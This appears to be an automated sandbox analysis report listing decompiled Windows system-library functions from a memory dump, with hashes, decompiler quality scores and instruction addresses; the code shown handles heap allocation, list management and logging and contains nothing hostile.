Instruction ID: 97275250fb1eba793a9c64914d572946b90c8bea0bc1d51725ba63a877fc8ba2
Opcode Fuzzy Hash: f90bbb270a377c7bc8fe1dabc7d21cc46c67c69418cfb49432ddc556c2544d13
Instruction Fuzzy Hash: 9731B031621616DBDB29CF2DC882ABABBF5FF55780705806AEA49CB350E770D840C790

Uniqueness

Uniqueness Score: -1.00%

Function 012AA61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E012AA61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x1350220);
				E012CD08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x1367b9c; // 0x0
				_t55 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E012CD0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x1367b10 =  *0x1367b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x136536c; // 0x773b5368
					if( *_t51 != 0x1365368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x1365368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x136536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E012AA70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x012aa61c
0x012aa61e
0x012aa623
0x012aa628
0x012aa62b
0x012aa62d
0x012aa648
0x012aa64a
0x012aa64f
0x012e9b44
0x012aa6ec
0x012aa6f1
0x012aa6f1
0x012aa655
0x012aa657
0x012aa65a
0x012aa65d
0x012aa662
0x012aa663
0x012aa667
0x012aa668
0x012aa66d
0x012aa706
0x012aa706
0x012e9bda
0x012e9be6
0x012e9beb
0x00000000
0x012e9beb
0x012aa679
0x012e9b7a
0x00000000
0x012e9b7a
0x012aa683
0x012aa6f4
0x012aa6f7
0x012aa6f9
0x012aa6fd
0x012aa6a0
0x012aa6a0
0x012aa6ad
0x012aa6af
0x012aa6b4
0x012e9ba7
0x012e9bac
0x00000000
0x00000000
0x012e9bc6
0x012e9bce
0x012e9bd1
0x012e9bd3
0x012e9bd3
0x00000000
0x012e9bd1
0x012aa6bd
0x012aa6c3
0x012aa6c6
0x012aa6d2
0x012aa701
0x012aa704
0x00000000
0x012aa704
0x012aa6d4
0x012aa6d6
0x012aa6d9
0x012aa6db
0x012aa6e1
0x012aa6e6
0x012aa6e8
0x012aa6e8
0x012aa6ea
0x00000000
0x012aa6ea
0x012aa688
0x012aa692
0x012aa694
0x012aa699
0x00000000
0x00000000
0x012aa69d
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5146c47f666092e8647a85df75f2b095a9ef4ed8aadfc809448eab35dc029cd1
Instruction ID: 85cc5edf37cff6bc83123a9a4051d03b12bb1385fb394ea5d5ee41503c222992
Opcode Fuzzy Hash: 5146c47f666092e8647a85df75f2b095a9ef4ed8aadfc809448eab35dc029cd1
Instruction Fuzzy Hash: 2E416975A20206DFCF19CF58C880BA9BBF1BF49704F54816AEA05AB344D774A941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0129C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0129C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E01297D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E01348D34(_v8, _t80);
					}
					E01292280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E0128FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E01348833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E0128FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E012BB180();
						if(_a4 != 0) {
							E01292280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E0129BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E0129BB2D(_t16, _t15);
						E0129B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E0128FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E0128FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E0128FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x0129c18d
0x0129c18f
0x0129c191
0x0129c19b
0x0129c1a0
0x0129c1d4
0x0129c1de
0x012e2d6e
0x0129c1e4
0x0129c1e4
0x0129c1e4
0x0129c1ec
0x012e2d7d
0x012e2d7d
0x0129c1f3
0x0129c1ff
0x012e2d88
0x012e2d8d
0x012e2d94
0x012e2d94
0x012e2d9f
0x012e2da4
0x012e2dab
0x012e2db0
0x012e2db2
0x012e2db3
0x012e2db4
0x012e2dbc
0x012e2dc3
0x012e2dc3
0x0129c205
0x0129c205
0x0129c208
0x0129c20e
0x0129c211
0x0129c216
0x0129c219
0x0129c21f
0x0129c222
0x0129c22c
0x0129c234
0x0129c23a
0x0129c23f
0x0129c245
0x0129c24b
0x0129c251
0x0129c25a
0x0129c276
0x0129c27d
0x0129c27d
0x0129c25c
0x0129c25c
0x00000000
0x0129c25e
0x0129c1a4
0x0129c1aa
0x0129c1b3
0x0129c265
0x0129c26c
0x0129c26c
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: c3a412f2be419744b94fec1711235719710d5f2250e6b97cc5f28af68da7deac
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: B7315771A21587BFDB04EBBCC490BF9FB94BF62204F0441AAC51C57241DB356A15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 012F7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E012F7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x136d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E012F6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E012F6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E01297D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E012B9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E012BB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L01294620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x012f7016
0x012f701e
0x012f702b
0x012f7033
0x012f7037
0x012f703c
0x012f703e
0x012f7041
0x012f7045
0x012f704a
0x012f7050
0x012f7055
0x012f705a
0x012f7062
0x012f7062
0x012f705a
0x012f7064
0x012f7064
0x012f7067
0x012f7071
0x012f7096
0x012f709b
0x012f70a2
0x012f70a6
0x012f70a7
0x012f70ad
0x012f70b3
0x012f70b6
0x012f70bb
0x012f70c3
0x012f70c3
0x012f70c6
0x012f70cd
0x012f70dd
0x012f70e0
0x012f70e2
0x012f70e2
0x012f70ee
0x012f7101
0x012f70f0
0x012f70f9
0x012f70f9
0x012f710a
0x012f710e
0x012f7112
0x012f7117
0x012f7118
0x012f7118
0x012f70bb
0x012f711d
0x012f7123
0x012f7131
0x012f7131
0x012f7136
0x012f713d
0x012f713e
0x012f713f
0x012f714a
0x012f714a
0x012f7084
0x012f7088
0x00000000
0x012f708e
0x012f708e
0x012f7092
0x00000000
0x012f7092

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152d6ab09171c5add81e234ebb99a039f99d108ce094be75af68057052235560
Instruction ID: f7f7530bc80efa391b6d4b9ee5175ee9c0150528bb322c7a199597b80f6842c1
Opcode Fuzzy Hash: 152d6ab09171c5add81e234ebb99a039f99d108ce094be75af68057052235560
Instruction Fuzzy Hash: E931B5726147529FD720DF2CC940A6BB7E9FF98700F044A2DFA9597690E730E904CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01323D40, Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E01323D40(intOrPtr __ecx, char* __edx) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				char _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				char* _t55;
				char _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				char* _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x136d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E01292280(_t34, 0x1368a6c);
				_t64 =  *0x1365768; // 0x773b5768
				if(_t64 != 0x1365768) {
					while(1) {
						_t8 = _t64 + 8; // 0x773b5770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E0128FFB0(_t53, _t64, 0x1368a6c);
						 *0x136b1e0(_v24, _t67);
						if( *((intOrPtr*)( *((intOrPtr*)(_t64 + 0xc))))() != 0) {
							_v37 = 1;
						}
						E01292280(_t45, 0x1368a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 4));
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x1365768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E0128FFB0(_t51, _t64, 0x1368a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E012BB640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x01323d40
0x01323d48
0x01323d52
0x01323d59
0x01323d5d
0x01323d61
0x01323d63
0x01323d67
0x01323d69
0x01323d72
0x01323d76
0x01323d7a
0x01323d7f
0x01323d8b
0x01323d91
0x01323d91
0x01323d91
0x01323d94
0x01323d96
0x01323d9d
0x01323da1
0x01323db0
0x01323dba
0x01323dbc
0x01323dbc
0x01323dc6
0x01323dcb
0x01323dcf
0x01323dd1
0x01323dd4
0x00000000
0x00000000
0x01323dd9
0x01323e0c
0x01323e0c
0x01323e0f
0x01323ddb
0x01323ddb
0x01323de0
0x00000000
0x01323de2
0x01323de2
0x01323de4
0x01323de8
0x01323deb
0x01323df1
0x00000000
0x01323df3
0x01323df3
0x01323df5
0x01323df8
0x01323dfa
0x00000000
0x01323dfa
0x01323df1
0x01323de0
0x01323e11
0x01323e11
0x00000000
0x01323dfe
0x01323e04
0x01323e06
0x00000000
0x01323e06
0x00000000
0x01323e04
0x01323d91
0x01323e15
0x01323e1a
0x01323e1f
0x01323e1f
0x01323e23
0x01323e29
0x00000000
0x00000000
0x01323e2e
0x00000000
0x01323e30
0x01323e30
0x01323e35
0x00000000
0x01323e37
0x01323e3e
0x01323e42
0x01323e48
0x01323e4e
0x00000000
0x01323e4e
0x01323e35
0x00000000
0x01323e2e
0x01323e5b
0x01323e5c
0x01323e5d
0x01323e68
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c2a08be40e2d05972bef5086d9ffdd698e94d6a6c38b84d4a29b5b8d3040cf
Instruction ID: be0c03c1813f6d23d72c554b24320b38a1e3f533e7c906b9a9a160acfcf56bab
Opcode Fuzzy Hash: 14c2a08be40e2d05972bef5086d9ffdd698e94d6a6c38b84d4a29b5b8d3040cf
Instruction Fuzzy Hash: 59318D72605312DFCB10EF18C58046ABBE5FF89708F04896EE8889B255D734DD19CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 012AA70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E012AA70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x1367b10; // 0x0
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x1367b10 = 8;
					 *0x1367b14 = 0x1367b0c;
					 *0x1367b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x1
					E012AA990(0x1367b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L012AA840(__edx, __ecx, __ecx, _t52, 0x1367b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x1367b10; // 0x0
					_t3 = _t37 + 0x27; // 0x27
					__eflags = _t3 >> 5 -  *0x1367b18; // 0x0
					if(__eflags > 0) {
						_t38 =  *0x1367b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x27
						_v8 = _t4 >> 5;
						_t50 = L01294620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x1367b18 = _v8;
						_t8 = _t52 + 7; // 0x7
						E012BF3E0(_t50,  *0x1367b14, _t8 >> 3);
						_t28 =  *0x1367b14; // 0x0
						__eflags = _t28 - 0x1367b0c;
						if(_t28 != 0x1367b0c) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x8
						 *0x1367b14 = _t50;
						_t48 = _v12;
						 *0x1367b10 = _t9;
						goto L6;
					}
					 *0x1367b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x012aa713
0x012aa714
0x012aa717
0x012aa71d
0x012aa720
0x012aa722
0x012aa727
0x012aa74a
0x012aa754
0x012aa75e
0x012aa768
0x012aa76a
0x012aa773
0x012aa78b
0x012aa790
0x012aa792
0x012aa741
0x012aa741
0x012aa743
0x012aa749
0x012aa749
0x012aa732
0x012aa73a
0x012aa797
0x012aa79d
0x012aa7a3
0x012aa7a9
0x012aa7b6
0x012aa7bc
0x012aa7ca
0x012aa7e0
0x012aa7e2
0x012aa7e4
0x012e9bf2
0x00000000
0x012e9bf2
0x012aa7ed
0x012aa7f2
0x012aa800
0x012aa805
0x012aa80d
0x012aa812
0x012e9c08
0x012e9c08
0x012aa818
0x012aa81b
0x012aa821
0x012aa824
0x00000000
0x012aa824
0x012aa7ae
0x00000000
0x012aa7ae
0x012aa73c
0x012aa73e
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61a8cb619f265f70569a0f937d16ad29df10a003d4ef29129a53ef05e137984
Instruction ID: aa6d98de7ae537791b39d78ab39b57cb60a385d7c7babd484ca565a962187b2a
Opcode Fuzzy Hash: d61a8cb619f265f70569a0f937d16ad29df10a003d4ef29129a53ef05e137984
Instruction Fuzzy Hash: 5331CFB16202029FD725CF18DC81F6ABFFDFB84718F94895AE206C7254D7B0A951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012A61A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E012A61A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E012A5E50(0x12567cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E01349D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E0127F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x012a61b3
0x012a61b5
0x012a61bd
0x012a61c3
0x012a61c7
0x012a61d2
0x012a61ff
0x012a61ff
0x012a6201
0x012a6207
0x012a6207
0x012a61d4
0x012a61d9
0x00000000
0x00000000
0x012a61df
0x012a61e2
0x00000000
0x00000000
0x012a61e6
0x012a61e8
0x012a61ee
0x012a61ee
0x012a61f9
0x012e762f
0x012e7632
0x012e7635
0x012e7639
0x012e7640
0x012e766e
0x012e7675
0x00000000
0x00000000
0x012e7681
0x012e7689
0x012e768d
0x012e7691
0x012e7695
0x012e7699
0x012e76af
0x012e76b5
0x012e76b7
0x012e76b7
0x012e76d7
0x012e76dc
0x00000000
0x012e76dc
0x012e76a2
0x012e76a9
0x012e7651
0x012e7653
0x012e7653
0x012e7656
0x012e7656
0x00000000
0x012e7656
0x012e7644
0x012e7646
0x012e7648
0x012e7648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4939285c62443d7aa23bd9facdcec7c9667879309440dfcb8b06d4d4b3f4c4b
Instruction ID: ca9e38d1c51314a9deb992e9185c27dd0555c01ff0bcf7e86abfb24f65cf436c
Opcode Fuzzy Hash: a4939285c62443d7aa23bd9facdcec7c9667879309440dfcb8b06d4d4b3f4c4b
Instruction Fuzzy Hash: 693181716253028FE360CF1DC944B26BBE5FB88B04F89496EEA9497351E7B0E804CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0127AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0127AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x136d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x1367b9c; // 0x0
					_t53 = L01294620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E012BB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E012BF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L01286C59(_t53, _t51, _t58) != 0) {
							_t28 = E012A5E50(0x125c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E012AB230(_v32, _v28, 0x125c2d8, 1,  &_v24);
								_t28 = E0127F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x0127aa25
0x0127aa29
0x0127aa2d
0x0127aa30
0x0127aa37
0x0127aa3c
0x012d4458
0x012d4458
0x012d4472
0x012d4474
0x012d4476
0x0127aa64
0x0127aa74
0x012d447c
0x012d4483
0x012d4492
0x0127aa52
0x0127aa54
0x0127aa5e
0x012d44a8
0x012d44ad
0x012d44af
0x012d44b6
0x012d44b6
0x012d44b9
0x012d44bc
0x012d44cd
0x012d44d3
0x012d44d6
0x012d44e1
0x012d44e1
0x012d44e6
0x012d44e8
0x012d44fb
0x012d44fb
0x012d44e8
0x00000000
0x0127aa5e
0x012d4476
0x0127aa42
0x0127aa46
0x0127aa48
0x0127aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

